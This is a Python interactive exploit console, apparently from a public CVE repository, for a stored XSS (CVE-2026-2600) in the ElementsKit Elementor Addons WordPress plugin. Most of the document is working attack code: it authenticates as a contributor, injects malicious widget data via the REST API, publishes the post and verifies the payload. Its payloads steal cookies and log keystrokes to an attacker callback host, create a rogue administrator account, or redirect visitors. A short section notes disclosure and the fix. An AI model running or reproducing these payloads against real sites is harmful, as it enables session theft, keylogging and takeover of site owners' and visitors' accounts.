5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / console_poc.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-2600 - ElementsKit Stored XSS - Interactive Console
Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF

A menu-driven terminal console for exploiting CVE-2026-2600.
Lets you authenticate, choose a payload, inject, publish, and verify
step by step - useful for demos, labs, and CTFs.

Usage:
    python console_poc.py
"""

import json
import os
import re
import sys
import time
import uuid

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Force UTF-8 on Windows terminals
if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
    try:
        sys.stdout.reconfigure(encoding='utf-8')
    except AttributeError:
        pass

# ─── Terminal colours & helpers ────────────────────────────────────────────────

R   = "\033[91m"
G   = "\033[92m"
Y   = "\033[93m"
B   = "\033[94m"
M   = "\033[95m"
C   = "\033[96m"
W   = "\033[97m"
DIM = "\033[2m"
RST = "\033[0m"
BOLD= "\033[1m"

def cls():
    os.system("cls" if os.name == "nt" else "clear")

def pause():
    input(f"\n  {DIM}Press ENTER to continue ...{RST}")

def hr(char="─", width=62):
    print(f"  {DIM}{char * width}{RST}")

def header(title: str):
    cls()
    hr("═")
    print(f"\n  {BOLD}{W}CVE-2026-2600{RST}  {DIM}|{RST}  {C}{title}{RST}\n")
    hr()
    print()

def banner():
    cls()
    print(f"""
{R}  +----------------------------------------------------------+{RST}
{R}  |  {W}{BOLD}CVE-2026-2600 - ElementsKit Stored XSS Console{RST}{R}         |{RST}
{R}  +----------------------------------------------------------+{RST}
{Y}  |  Plugin  : ElementsKit Elementor Addons <= 3.7.9        |{RST}
{Y}  |  Widget  : Simple Tab  (ekit-tab)                       |{RST}
{Y}  |  Type    : Stored XSS via REST API bypass               |{RST}
{G}  |  CVSS    : 6.4 MEDIUM  |  Role: Contributor+            |{RST}
{DIM}  |  Author  : Alaaeddine Knani (@iwd) - ODDO BHF           |{RST}
{R}  +----------------------------------------------------------+{RST}
""")

def log(msg):   print(f"  {B}[*]{RST} {msg}")
def ok(msg):    print(f"  {G}[+]{RST} {BOLD}{msg}{RST}")
def warn(msg):  print(f"  {Y}[!]{RST} {msg}")
def fail(msg):  print(f"  {R}[-]{RST} {msg}")
def step(n, msg): print(f"\n  {C}[{n}]{RST} {W}{msg}{RST}")


# ─── Elementor data builder ────────────────────────────────────────────────────

def build_elementor_data(xss_payload: str) -> list:
    def uid() -> str:
        return uuid.uuid4().hex[:6]

    return [
        {
            "id": uid(),
            "elType": "section",
            "isInner": False,
            "settings": {},
            "elements": [
                {
                    "id": uid(),
                    "elType": "column",
                    "settings": {"_column_size": 100},
                    "elements": [
                        {
                            "id": uid(),
                            "elType": "widget",
                            "widgetType": "elementskit-simple-tab",
                            "settings": {
                                "ekit_tab_items": [
                                    {
                                        "_id": uid(),
                                        "ekit_tab_title": xss_payload,
                                        "ekit_tab_content": "<p>Content</p>",
                                        "tab_id": "tab-1",
                                    },
                                    {
                                        "_id": uid(),
                                        "ekit_tab_title": "Tab 2",
                                        "ekit_tab_content": "<p>More content</p>",
                                        "tab_id": "tab-2",
                                    },
                                ],
                                "ekit_tab_active_index": 0,
                            },
                        }
                    ],
                }
            ],
        }
    ]


# ─── Exploit state ─────────────────────────────────────────────────────────────

class ExploitState:
    def __init__(self):
        self.target   = ""
        self.username = ""
        self.password = ""
        self.callback = ""
        self.payload  = ""
        self.nonce    = ""
        self.post_id  = None
        self.post_url = ""
        self.session  = requests.Session()
        self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"})
        self.session.verify = True
        self.authenticated = False
        self.injected      = False
        self.published     = False

    def status_line(self):
        parts = []
        if self.target:
            parts.append(f"{DIM}target:{RST} {C}{self.target}{RST}")
        if self.authenticated:
            parts.append(f"{G}✓ auth{RST}")
        if self.post_id:
            parts.append(f"{G}✓ post #{self.post_id}{RST}")
        if self.injected:
            parts.append(f"{R}✓ injected{RST}")
        if self.published:
            parts.append(f"{Y}✓ published{RST}")
        return "  " + "  |  ".join(parts) if parts else ""


S = ExploitState()

BUILTIN_PAYLOADS = {
    "1": ("Cookie Exfiltration",
          lambda: f'<img src=x onerror="fetch(\'{S.callback}?c=\'+btoa(document.cookie))">'),
    "2": ("Alert PoC (safe demo)",
          lambda: '<img src=x onerror="alert(\'XSS: CVE-2026-2600 by @iwd\')">'),
    "3": ("Keylogger",
          lambda: f'<script>document.addEventListener("keypress",e=>new Image().src="{S.callback}/k?c="+e.key)</script>'),
    "4": ("Admin account creation",
          lambda: (
              "<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{"
              "const n=h.match(/_wpnonce_create-user\" value=\"([^\"]+)/)[1];"
              "fetch('/wp-admin/user-new.php',{method:'POST',"
              "body:new URLSearchParams({action:'createuser',user_login:'hax0r',"
              f"email:'hax@{S.target.split('//')[-1].split('/')[0]}',"
              "pass1:'H4x0r!Q1',pass2:'H4x0r!Q1',role:'administrator',"
              "'_wpnonce_create-user':n}),headers:{'Content-Type':'application/x-www-form-urlencoded'}});"
              "});</script>"
          )),
    "5": ("Full redirect",
          lambda: f'<script>document.location="{S.callback}"</script>'),
    "6": ("Custom payload", None),
}


# ─── Screen modules ────────────────────────────────────────────────────────────

def screen_configure():
    header("Configure Target")

    print(f"  {DIM}Leave blank to keep current value.{RST}\n")

    def ask(prompt, current, secret=False):
        suffix = f" {DIM}[{current if not secret else '****'}]{RST}" if current else ""
        val = input(f"  {W}{prompt}{suffix}: {RST}").strip()
        return val if val else current

    S.target   = ask("Target URL (https://victim.com)", S.target).rstrip("/")
    S.username = ask("Username", S.username)
    S.password = ask("Password", S.password, secret=True)
    S.callback = ask("Callback URL (attacker server)", S.callback or "https://attacker.example.com")

    print()
    ok("Configuration saved")
    pause()


def screen_authenticate():
    header("Step 1 - Authenticate")

    if not S.target or not S.username or not S.password:
        warn("Configure target first (option 1)")
        pause()
        return

    log(f"Logging in as {W}{S.username}{RST} to {C}{S.target}{RST} ...")

    try:
        resp = S.session.post(
            f"{S.target}/wp-login.php",
            data={
                "log": S.username, "pwd": S.password,
                "wp-submit": "Log In", "redirect_to": "/wp-admin/",
                "testcookie": "1",
            },
            cookies={"wordpress_test_cookie": "WP+Cookie+check"},
            allow_redirects=True, timeout=20,
        )
    except requests.RequestException as exc:
        fail(f"Request failed: {exc}")
        pause()
        return

    if not any("wordpress_logged_in" in c.name for c in S.session.cookies):
        fail("Login failed - bad credentials or login protection active")
        pause()
        return

    S.authenticated = True
    ok("Authenticated - session cookie stored")

    # Immediately grab nonce too
    log("Extracting REST nonce ...")
    try:
        html = S.session.get(f"{S.target}/wp-admin/post-new.php", timeout=20).text
        for pat in [r'"nonce"\s*:\s*"([a-f0-9]{10,})"', r'"rest_nonce"\s*:\s*"([^"]+)"']:
            m = re.search(pat, html)
            if m:
                S.nonce = m.group(1)
                ok(f"REST nonce: {C}{S.nonce}{RST}")
                break
        if not S.nonce:
            warn("Could not auto-extract nonce - set manually if needed")
    except requests.RequestException:
        warn("Could not load post editor to extract nonce")

    pause()


def screen_choose_payload():
    header("Step 2 - Choose Payload")

    print(f"  {'#':<4} {'Payload Type':<34} {'Description'}")
    hr()
    for k, (name, _) in BUILTIN_PAYLOADS.items():
        marker = f"{G}●{RST}" if S.payload and S.payload.startswith(str(k)) else " "
        print(f"  {marker} {k:<3} {name}")
    print()

    choice = input(f"  {W}Choose payload [1-6]: {RST}").strip()

    if choice not in BUILTIN_PAYLOADS:
        warn("Invalid choice")
        pause()
        return

    name, builder = BUILTIN_PAYLOADS[choice]

    if choice == "6" or builder is None:
        print(f"\n  {DIM}Enter your custom HTML/JS payload:{RST}")
        custom = input(f"  {W}> {RST}").strip()
        if not custom:
            warn("Empty payload - cancelled")
            pause()
            return
        S.payload = custom
    else:
        S.payload = builder()

    print()
    ok(f"Payload selected: {Y}{name}{RST}")
    print(f"  {DIM}Preview: {R}{S.payload[:120]}{'...' if len(S.payload)>120 else ''}{RST}")
    pause()


def screen_create_post():
    header("Step 3 - Create Draft Post")

    if not S.authenticated:
        warn("Authenticate first (option 2)")
        pause()
        return
    if not S.nonce:
        warn("No REST nonce available - authenticate again")
        pause()
        return

    title = input(f"  {W}Post title {DIM}[Security Research]{RST}{W}: {RST}").strip() or "Security Research"
    log(f"Creating draft post titled {W}{title!r}{RST} ...")

    try:
        r = S.session.post(
            f"{S.target}/wp-json/wp/v2/posts",
            headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
            json={"title": title, "status": "draft", "content": ""},
            timeout=20,
        )
        r.raise_for_status()
    except requests.RequestException as exc:
        fail(f"Failed: {exc}")
        pause()
        return

    S.post_id = r.json().get("id")
    if not S.post_id:
        fail("No post ID in response - check permissions")
        pause()
        return

    ok(f"Draft created → post ID {Y}{S.post_id}{RST}")
    ok(f"Edit URL: {C}{S.target}/wp-admin/post.php?post={S.post_id}&action=edit{RST}")
    pause()


def screen_inject():
    header("Step 4 - Inject Payload")

    if not S.post_id:
        warn("Create a post first (option 3)")
        pause()
        return
    if not S.payload:
        warn("Choose a payload first (option 2)")
        pause()
        return

    print(f"  {DIM}Sending PATCH to /wp-json/wp/v2/posts/{S.post_id}{RST}")
    print(f"  {DIM}This bypasses Elementor's client-side sanitization.{RST}\n")

    log("Injecting into _elementor_data via REST API ...")
    print(f"  {DIM}Payload: {R}{S.payload[:100]}{'...' if len(S.payload)>100 else ''}{RST}")
    print()

    elementor_data = build_elementor_data(S.payload)

    try:
        r = S.session.patch(
            f"{S.target}/wp-json/wp/v2/posts/{S.post_id}",
            headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
            json={
                "meta": {
                    "_elementor_data":      json.dumps(elementor_data),
                    "_elementor_edit_mode": "builder",
                }
            },
            timeout=20,
        )
        r.raise_for_status()
    except requests.RequestException as exc:
        fail(f"PATCH failed: {exc}")
        pause()
        return

    stored = r.json().get("meta", {}).get("_elementor_data", "")

    if S.payload in stored or S.payload.replace('"', '\\"') in stored:
        S.injected = True
        ok(f"{G}{BOLD}Payload stored in database - confirmed!{RST}")
        print(f"\n  {DIM}The payload will execute for every visitor when the page loads.{RST}")
    else:
        warn("Payload not visible in response (meta may be restricted) - likely stored anyway")
        S.injected = True

    pause()


def screen_publish():
    header("Step 5 - Publish Post")

    if not S.post_id:
        warn("Create a post first (option 3)")
        pause()
        return

    if not S.injected:
        warn("Inject payload first (option 4)")
        confirm = input(f"  {Y}Publish anyway? [y/N]: {RST}").strip().lower()
        if confirm != "y":
            return

    log(f"Publishing post #{S.post_id} ...")
    try:
        r = S.session.post(
            f"{S.target}/wp-json/wp/v2/posts/{S.post_id}",
            headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
            json={"status": "publish"},
            timeout=20,
        )
        r.raise_for_status()
    except requests.RequestException as exc:
        fail(f"Failed to publish: {exc}")
        pause()
        return

    S.post_url = r.json().get("link", f"{S.target}/?p={S.post_id}")
    S.published = True
    ok(f"Post published → {C}{S.post_url}{RST}")
    print(f"\n  {Y}Note:{RST} On many sites Contributors submit for review.")
    print(f"  {DIM}The payload fires even while the post is pending review{RST}")
    print(f"  {DIM}(when an editor opens the preview link).{RST}")
    pause()


def screen_verify():
    header("Step 6 - Verify Payload")

    url = S.post_url or (f"{S.target}/?p={S.post_id}" if S.post_id else "")
    if not url:
        warn("No post URL - publish first (option 5)")
        pause()
        return

    custom_url = input(f"  {W}URL to verify {DIM}[{url}]{RST}{W}: {RST}").strip()
    if custom_url:
        url = custom_url

    log(f"Fetching {url} ...")
    try:
        html = requests.get(url, verify=S.session.verify, timeout=20).text
    except requests.RequestException as exc:
        fail(f"Could not fetch page: {exc}")
        pause()
        return

    marker = "onerror" if "onerror" in (S.payload or "") else "script"

    if marker in html:
        ok(f"{G}{BOLD}CONFIRMED: Payload is live in page source!{RST}")
        print(f"\n  {DIM}Found marker: {R}'{marker}'{RST}")
        # Show surrounding context
        idx = html.find(marker)
        snippet = html[max(0, idx-40):idx+80].replace("\n", " ")
        print(f"  {DIM}Context:  ...{R}{snippet}{RST}...{RST}")
    else:
        warn(f"Marker '{marker}' not found - post may still be pending review")
        print(f"  {DIM}Try browsing to the URL manually or check draft preview.{RST}")

    pause()


def screen_full_auto():
    header("Full Auto - Run All Steps")

    if not S.target:
        warn("Configure target first (option 1)")
        pause()
        return
    if not S.payload:
        warn("Choose a payload first (option 2)")
        pause()
        return

    confirm = input(
        f"  {Y}This will authenticate, create a post, inject, and publish on{RST}\n"
        f"  {C}{S.target}{RST}\n\n"
        f"  {W}Continue? [y/N]: {RST}"
    ).strip().lower()

    if confirm != "y":
        print(f"  {DIM}Aborted.{RST}")
        pause()
        return

    print()
    steps = [
        ("Authenticating",          screen_authenticate),
        ("Creating draft post",     screen_create_post),
        ("Injecting payload",       screen_inject),
        ("Publishing",              screen_publish),
        ("Verifying",               screen_verify),
    ]

    for name, fn in steps:
        step("→", name)
        fn()
        if "authenticate" in name.lower() and not S.authenticated:
            fail("Cannot continue - authentication failed")
            return

    print()
    hr("═")
    ok(f"Full chain complete!")
    print(f"  {DIM}Infected URL  : {C}{S.post_url or S.target+'/?p='+str(S.post_id)}{RST}")
    print(f"  {DIM}Callback URL  : {C}{S.callback}{RST}")
    print(f"  {DIM}Payload fires for every visitor - including admins.{RST}")
    hr("═")
    pause()


def screen_show_status():
    header("Current State")

    print(f"  {'Target':<18} {C}{S.target or '(not set)'}{RST}")
    print(f"  {'Username':<18} {W}{S.username or '(not set)'}{RST}")
    print(f"  {'Callback URL':<18} {C}{S.callback or '(not set)'}{RST}")
    print(f"  {'Authenticated':<18} {(G+'✓ yes' if S.authenticated else R+'✗ no')}{RST}")
    print(f"  {'REST Nonce':<18} {(C+S.nonce if S.nonce else DIM+'(none)')}{RST}")
    print(f"  {'Post ID':<18} {(Y+str(S.post_id) if S.post_id else DIM+'(none)')}{RST}")
    print(f"  {'Injected':<18} {(G+'✓ yes' if S.injected else DIM+'no')}{RST}")
    print(f"  {'Published':<18} {(G+'✓ yes' if S.published else DIM+'no')}{RST}")
    print(f"  {'Post URL':<18} {(C+S.post_url if S.post_url else DIM+'(none)')}{RST}")
    if S.payload:
        print(f"\n  {'Payload':<18} {R}{S.payload[:80]}{'...' if len(S.payload)>80 else ''}{RST}")
    pause()


def screen_about():
    header("About / Help")
    print(f"""
  {W}{BOLD}CVE-2026-2600{RST} - Stored XSS in ElementsKit Elementor Addons

  {DIM}Affected :{RST}  ElementsKit Elementor Addons <= 3.7.9
  {DIM}Widget   :{RST}  Simple Tab  (ekit-tab)
  {DIM}CVSS     :{RST}  6.4 MEDIUM
  {DIM}Required :{RST}  Contributor role (edit_posts capability)
  {DIM}Author   :{RST}  Alaaeddine Knani (@iwd) - ODDO BHF

  {C}How it works:{RST}
  The ekit-tab widget's render() function outputs the tab title field
  without esc_html(). Elementor's UI strips dangerous tags client-side,
  but the WordPress REST API accepts raw JSON in _elementor_data and
  stores it verbatim. Any Contributor can PATCH a post's meta via:

  {DIM}PATCH /wp-json/wp/v2/posts/{{id}} HTTP/1.1{RST}
  {DIM}X-WP-Nonce: <nonce>{RST}
  {DIM}{{"meta": {{"_elementor_data": "...<XSS>..."}}}}{RST}

  {C}Responsible disclosure:{RST}
  Reported to Patchstack Alliance. Patched in a subsequent release.
  All testing done on isolated local @wordpress/env instances.

  {C}Fix:{RST}
  Replace: {R}echo $item['ekit_tab_title'];{RST}
  With:    {G}echo esc_html( $item['ekit_tab_title'] );{RST}
""")
    pause()


# ─── Main menu ─────────────────────────────────────────────────────────────────

MENU = [
    ("1", "Configure target / credentials",  screen_configure),
    ("2", "Choose XSS payload",              screen_choose_payload),
    ("3", "Create draft post (Step 1)",      screen_create_post),
    ("4", "Inject payload via REST API (Step 2)", screen_inject),
    ("5", "Publish the post (Step 3)",       screen_publish),
    ("6", "Verify payload in page source",   screen_verify),
    ("7", "Authenticate only",               screen_authenticate),
    ("8", "Full auto (steps 1–5)",           screen_full_auto),
    ("9", "Show current state",              screen_show_status),
    ("a", "About / Help",                    screen_about),
    ("q", "Quit",                            None),
]

def main_menu():
    while True:
        banner()

        status = S.status_line()
        if status:
            print(status)
            print()

        hr()
        for key, label, _ in MENU:
            if key == "q":
                hr()
            marker = f"  {G}●{RST}" if (
                (key == "1" and S.target) or
                (key == "2" and S.payload) or
                (key == "3" and S.post_id) or
                (key == "4" and S.injected) or
                (key == "5" and S.published)
            ) else "   "
            print(f"{marker} {Y}[{key}]{RST}  {label}")

        print()
        choice = input(f"  {W}→ {RST}").strip().lower()

        for key, _, handler in MENU:
            if choice == key:
                if handler is None:
                    cls()
                    print(f"\n  {DIM}Goodbye.{RST}\n")
                    sys.exit(0)
                handler()
                break
        else:
            warn("Unknown option")
            time.sleep(0.8)


if __name__ == "__main__":
    try:
        main_menu()
    except KeyboardInterrupt:
        print(f"\n\n  {DIM}Interrupted. Goodbye.{RST}\n")
        sys.exit(0)